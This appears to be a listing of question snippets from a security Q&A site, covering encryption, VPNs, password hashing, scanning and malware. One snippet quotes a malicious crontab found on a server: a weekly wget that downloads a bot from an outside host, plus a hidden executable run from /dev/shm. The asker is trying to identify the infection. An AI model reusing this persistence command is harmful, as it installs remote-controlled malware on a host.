-1
votes
2answers
111 views

What happens when and attacker changes the installed public keys in browser

I was reading about SSL. I understood that each browser comes with a predefined set of known public keys,which is then used to authenticate the messages. I was wondering what will happen when a virus ...
11
votes
2answers
1k views

How might the U.K. Government's proposed internet surveillance equipment “bypass” encryption?

http://www.channel4.com/news/black-boxes-to-monitor-all-internet-and-phone-data http://rt.com/news/uk-privacy-internet-freedom-186/ 'Black boxes' will be installed by internet services providers ...
1
vote
2answers
887 views

How to secure the connection between the proxy and application

I have designed a framework for my application where I have a proxy to communicate with the outside world. The connection between proxy and the application is encrypted using SSL. But the connection ...
0
votes
2answers
78 views

Solution to site database [closed]

Our warehouse site desperately requires a database that runs efficiently, is secure and we can modify ourselves. Unfortunately the Company's policy does not allow any servers on site, only at ...
6
votes
4answers
590 views

Would running VMs inside of VMs be a more secure way to study viruses, etc?

I was reading this post on SuperUser, and it made me wonder about security. I've read somewhere else that some viruses/malware/whatever CAN break outside of a VM... and then infect the host OS. BUT, ...
1
vote
0answers
240 views

OpenPGP CFB mode examples [closed]

Does anyone know where to get worked out examples of OpenPGP's CFB mode encryption? I know RFC 4880 explains it very precisely, but I managed to mess it up somehow. I got one example from asking on ...
2
votes
2answers
139 views

What not to reveal of OS configuration

I thought that I should publicize all my programming on a web page so someone will hire me as a programmer. I got tempted to include not only programs but my .emacs, .bashrc, and .Xresources files. ...
0
votes
1answer
904 views

Suspicious .exe set to run at startup: Determine if file exists still

When I open MSConfig and look at all the applications set to run on startup there is a suspicious file set to run at startup. I have disabled the .exe to not run at startup but I want to delete the ...
2
votes
3answers
576 views

Losing Private Keys

Suppose my friend and I make public private key pairs, send some test emails back and forth and a few days later he loses his private key. Is either of us now in potential danger? Could we be ...
23
votes
4answers
17k views

Is it generally a bad idea to encrypt database fields?

I work on a tiny company, it's literally me (the programmer) and the owner. The owner has asked me to encrypt several fields in a database to protect the customers data. This is a web application that ...
3
votes
3answers
193 views

In what situations are web services required to protect confidentiality of user information?

I know that if a web application needs to be PCI-DSS or HIPAA compliant the user personal identifiable information (e.g. user password, etc) needs to be kept confidential. Under what other situations ...
2
votes
3answers
648 views

Are there any addons that disable only some functionality of scripts?

Tor comes bundled with NoScript. Correct me if I'm wrong but that's because client sided scripts can determine the originating IP address regardless of who the traffic is passed through. But NoScript ...
1
vote
2answers
381 views

AV inserting email header logic

I want to write a small PHP emailing class to be able to send HTML emails. My problem is that in the receiving email an antivirus will insert a header which sometimes simply breaks the entire email. ...
11
votes
5answers
3k views

Can voice chat be spied?

I wonder if voice chat (via public services like yahoo, google talk, skype, etc) is practically secure? Is it possible for the ISP or any middle point? I do not consider hacking the computers, but ...
14
votes
2answers
16k views

What preparation do I need to fullfil for OSCP?

I am new to this whole Offensive Security field. Also I have not spent much time in IT. 6 months back I started running behind Offensive Security & started studying. First I studied for C|EH and ...
10
votes
1answer
3k views

Backtrack 5 in a VM - Why bridged networking over NAT?

When running Backtrack 5 from a VM, it is recommended to use the bridged networking option instead of the NAT networking option? How does it affect the usage of Backtrack - port scanning, ...
0
votes
1answer
2k views

Identify an HTTP scanner from some HTTP headers

My personal Apache server occasionally gets some pretty obvious scans for vulnerabilities. The client that does the scanning does GET HTTP/1.1 methods on a variety of URLs, and uses a variety of ...
6
votes
3answers
4k views

Do browsers allows pages loaded on one tab to access/intercept/inject data in other tabs?

I was surprised to hear from this Reuters video that it was possible for a page loaded on one tab to access and/or inject data onto another page loaded on a different tab. TL;DW (too lazy; didn't ...
3
votes
1answer
536 views

Does anti-virus/security software protect against NTFS ADS?

I know that NTFS has features called ADS which may be used to hide malware. So does antivirus/security software, such as Norton 360, protect against this type of attack?
12
votes
4answers
7k views

Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
2
votes
4answers
14k views

Is it ok to use computer while scanning for viruses?

Should one refrain from using the computer while a virus scan is in progress? Are there certain things that are ok and others not? For example is it ok to use a web browser while a scan is in ...
0
votes
2answers
1k views

Knowing Hash Algorithm from Hashed String [duplicate]

I found an application which stored its password in database as: A69F00623BE6B8 It's a 14-character string length. How do I know this password algorithm? What's the keyword to describe this ...
-2
votes
1answer
1k views

What is a “cuckoo's egg”? [closed]

I remember that Clifford Stoll wrote a book called "The Cuckoo's Egg". In the book, the reader follows him as he pursues a hacker through networks across the world. I seem to recall that the title ...
4
votes
3answers
2k views

Is there any risk in allowing ping packets *out* through a firewall

The company I'm currently doing work for does not allow ping requests out through their firewall, for "security reasons" and I'm baffled as to why this is a concern. Before you point me to (e.g.) ...
1
vote
1answer
241 views

PGP Secret Key Values calculation

I know this is somewhat counterintuitive, but: Does anyone know of any place where I might get intermediate values from PGP when it decrypts the secret values of the Secret Key packets and shows ...
9
votes
4answers
4k views

nmap showing unknown IPs on private network

I had a go at scanning my home network with nmap, doing a 192.168.0.0/16 netscan. To my surprise, the results shown multiple live devices not only on 192.168.1.x (where all our known devices are) but ...
7
votes
3answers
1k views

Is this phishing or the real PayPal?

This has all traits of phishing, apart from the extended validation SSL cert. Is this site run by the real PayPal?
2
votes
1answer
318 views

Windows 8 in a VDI environment and the use of Secure Boot

I have a question, How would secure boot be implemented in a virtulized environment, say XEN hypervisor with multiple guest OS's including Windows 8 guest VM? does the guest VM need access to the ...
3
votes
1answer
461 views

Is there a way to store user files without being able to decrypt them?

I'd want to build a secure file storage web application. Currently ordinary password authentication is used for login. After login this password is used for encryption and decryption of user files at ...
3
votes
2answers
437 views

Is the password hash better when you concatenate the password and username?

Is the password hash (with bcrypt) better when You concatenate the username with password? For example: $this->hash($username . $password); and $this->hash($password); Last time I used ...
9
votes
3answers
1k views

Verify Login and Encrypt with PBKDF2

I'm writing a desktop application where I'm using PBKDF2 to generate an encryption key to AES-128 encrypt the config file. The config file contains a crypo-random key that's been used to encrypt the ...
2
votes
1answer
519 views

Security at writing in a folder

I would like to run with Runtime.exec() programs in Java (the programs' code are in C and Java ) - the users are uploading the Java/C code, and my app runs them. The code is saved in a separate folder ...
1
vote
2answers
287 views

How does google docs know password for published googledocs document on a public site?

Google Docs documents can be published on public sites. How does Google know the password to use (to get the document) when all you specify in the HTML is a string like: ...
3
votes
7answers
3k views

Scanning A Subnet Externaly

Scenario: I have a router with a public IP address provided by the ISP and two hosts behind the router with a private IP (192.168.x.x). Is it possible to perform a port or vulnerability scan of a ...
2
votes
1answer
227 views

Which mobile phone OS implements or plan to implement data protection using keys derived from passwords per NIST SP800-132?

NIST has released Special Publication 800-132: Recommendation for Password-Based Key Derivation which is meant for protection of stored data using encryption keys derived from user password. This ...
3
votes
1answer
33k views

does Avast SafeZone actually make a difference?

SafeZone is a feature in Avast Anti-Virus which is like a virtual machine that only has a web broswer. The benifit of this is that it can't be infected with spyware and isn't suseptible to keylogers. ...
0
votes
2answers
2k views

Long Passwords: How are they more secure? [duplicate]

Possible Duplicate: XKCD #936: Short complex password, or long dictionary passphrase? How are long passwords more secure? The only situation in which I can accept long passwords are more ...
2
votes
1answer
954 views

Analyzing wireshark results (openvpn)

I signed up to Mullvad for VPN service, and manually run OpenVPN from my Linux box. I rebooted my computer and make sure not to start any OpenVPN service. Yet when I did a Wireshark analysis I am ...
4
votes
1answer
277 views

How can I do a secure reinstallation on an android device?

I want to reinstall the rom on my android device. I like to assume that the system is infected when I do a reinstallation of any device, so if it was really infected and I haven't noticed, I'm on the ...
0
votes
1answer
124 views

VPS logging issues?

So people recommend a VPS (cloud) offshore, in order to ensure that a VPN provider is not logging or doing anything malicious. But isn't VPN provider = VPS hosting company? There is still a third ...
2
votes
2answers
1k views

ISP role with VPN & VPS?

I have notice online that many people get a VPN so that ISP can not view the sites you visit, create a profile of you and so on. Reading How safe is it to connect to Internet through VPN?, Jonah ...
28
votes
5answers
4k views

Is it common practice to log rejected passwords?

While selecting unique passwords for each purpose is a great idea, in practice this rarely happens. Therefore many select passwords from a personal pool of passwords that are easily remembered. When ...
1
vote
4answers
507 views

Are there vunerabilities with this authentication mechanism?

I am trying to come up with a way to implement token-based authentication for a REST API without the need for SSL. The goal here is to avoid sending any sensitive information across the wire. I was ...
7
votes
1answer
2k views

NVidia update service creates local account on system. Does anyone know the users password?

Nvidia update service has created a local user on several of my boxes. Does anyone know its password? I recon it could possible be leveraged as an entry way for an attacker. Details: wmic ...
0
votes
1answer
811 views

Why do we need to use HTTP CONNECT? [closed]

If we are writing a custom http client which connects with an https server. Should the custom client when deployed on machines which are behind web proxy need to send a HTTP CONNECT Request so as to ...
1
vote
2answers
527 views

Hash, encryption of file… key? Need help [closed]

So my previous question was with some help on pcap files as I am doing a security course and we have a challenge to figure out what was going on in our network. Now one of the files I retrieved is an ...
11
votes
5answers
1k views

ISO27000 implementation - Where do you get the standardization material?

In implementing ISO27000 (ISO27001&27002) I am wondering where I can download and review the standard? I wish to start implementing it but I am a bit stumped on where to start. Some sites offer ...
15
votes
3answers
7k views

Is a HMAC-ed password is more secure than a bcrypt-ed or scrypt-ed password?

Given an option , which one should I choose , a HMAC for storing a password securely or a bcrypt or scrypt library?
8
votes
1answer
507 views

PHP 5.3.9 Vulnerability Help

This is one of the first vulnerabilities I've tried to exploit on my own to expand my knowledge of exploits. This is a good summary of the vulnerability. I have been able to control EIP but I'm not ...
2
votes
2answers
103 views

Does it make sense that OCSP returns state for the signer CA itself

I have seen an implementation that in signature verification time searches for OCSP responses signed by the CA validating the status of the CA itself, so my question is if somewhere (maybe RFC2560) ...

15 30 50 per page